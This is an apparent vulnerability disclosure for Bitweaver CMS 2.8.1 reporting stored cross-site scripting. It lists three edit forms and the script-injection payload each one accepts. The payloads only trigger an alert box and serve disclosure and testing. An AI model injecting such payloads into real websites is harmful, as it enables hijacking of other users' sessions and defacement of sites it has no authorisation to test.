____/\______.__  ________      _________     _____  ____/\__
____/\__  _____  ____/\__ ____/\______
 /   / /_/_   |  | \_____  \  ___\______  \   / ___ \/   / /_//   /
/_/ / ___ \/   / /_//   / /_/_   | ____
 \__/ / \ |   |  |   _(__  < /    \  /    /  / / ._\ \__/ / \ \__/ / \
/ / ._\ \__/ / \ \__/ / \ |   |/    \
 / / /   \|   |  |__/       \   |  \/    /  <  \_____/ / /   \/ / /
<  \_____/ / /   \/ / /   \|   |   |  \
/_/ /__  /|___|____/______  /___|  /____/    \_____\/_/ /__  /_/ /__
/\_____\/_/ /__  /_/ /__  /|___|___|  /
  \/   \/                 \/     \/                   \/   \/  \/   \/
         \/   \/  \/   \/          \/


------------------------------------------------------------------------------

-------------------------------------------------------------------



    TITLE:  Bitweaver CMS Multiple stored XSS
    Vendor: Bitweaver CMS
    Author: $1l3n7 @$$@$$17
    Email:  sil3ntb0t@gmail.com
    Download Link:
https://sourceforge.net/projects/bitweaver/files/bitweaver2.x/bitweaver2.8.1.zip/download

    Versions: 2.8.1
    Tested on: Windows7

------------------------------------------------------------------------------


------------------------------------------------------------------------------
Description : Bitweaver is an application framework for content
management.It is a
              fully functional web application and CMS.It is truly open source,
              community driven, object oriented, and written in PHP. Use Smarty
              Templates and ADOdb to support many databases including Postgres,

              Firebird, Oracle, and MySQL.
  DEMO:
  A)Persistent XSS

             http://localhost/bitweaver/articles/index.php

     DEMO:

             http://localhost/bitweaver/articles/edit.php


       1:  In  Author Name Field

           POST DATA= "'-->><script>alert(0)</script>

       2:
           http://localhost/bitweaver/pigeonholes/edit_pigeonholes.php?action=create

         In title field

         POST DATA= "'-->><script>alert(0)</script>

       3:

         http://localhost/bitweaver/events/edit.php

         In title field

         POST DATA= "'-->><script>alert(0)</script>




----------------------------------------------------------------------------

gr33t1ngs and ShOuTZ to r007k17-w and all my friends..